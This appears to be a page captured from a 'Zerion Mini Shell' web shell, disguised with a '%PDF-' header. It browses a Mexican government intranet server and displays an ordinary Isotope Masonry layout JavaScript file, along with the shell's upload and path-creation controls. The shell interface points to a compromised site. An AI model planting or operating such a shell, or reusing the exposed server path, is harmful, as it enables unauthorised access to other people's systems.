%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/common/vendors/isotope/js/layout-modes/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/common/vendors/isotope/js/layout-modes/masonry.js

/*!
 * Masonry layout mode
 * sub-classes Masonry
 * http://masonry.desandro.com
 */

(function (window) {

    'use strict';

// -------------------------- helpers -------------------------- //

// extend objects
    function extend(a, b) {
        for (var prop in b) {
            a[ prop ] = b[ prop ];
        }
        return a;
    }

// -------------------------- masonryDefinition -------------------------- //

// used for AMD definition and requires
    function masonryDefinition(LayoutMode, Masonry) {
        // create an Outlayer layout class
        var MasonryMode = LayoutMode.create('masonry');

        // save on to these methods
        var _getElementOffset = MasonryMode.prototype._getElementOffset;
        var layout = MasonryMode.prototype.layout;
        var _getMeasurement = MasonryMode.prototype._getMeasurement;

        // sub-class Masonry
        extend(MasonryMode.prototype, Masonry.prototype);

        // set back, as it was overwritten by Masonry
        MasonryMode.prototype._getElementOffset = _getElementOffset;
        MasonryMode.prototype.layout = layout;
        MasonryMode.prototype._getMeasurement = _getMeasurement;

        var measureColumns = MasonryMode.prototype.measureColumns;
        MasonryMode.prototype.measureColumns = function () {
            // set items, used if measuring first item
            this.items = this.isotope.filteredItems;
            measureColumns.call(this);
        };

        // HACK copy over isOriginLeft/Top options
        var _manageStamp = MasonryMode.prototype._manageStamp;
        MasonryMode.prototype._manageStamp = function () {
            this.options.isOriginLeft = this.isotope.options.isOriginLeft;
            this.options.isOriginTop = this.isotope.options.isOriginTop;
            _manageStamp.apply(this, arguments);
        };

        return MasonryMode;
    }

// -------------------------- transport -------------------------- //

    if (typeof define === 'function' && define.amd) {
        // AMD
        define([
                '../layout-mode',
                'masonry/masonry'
            ],
            masonryDefinition);
    } else {
        // browser global
        masonryDefinition(
            window.Isotope.LayoutMode,
            window.Masonry
        );
    }

})(window);

Zerion Mini Shell 1.0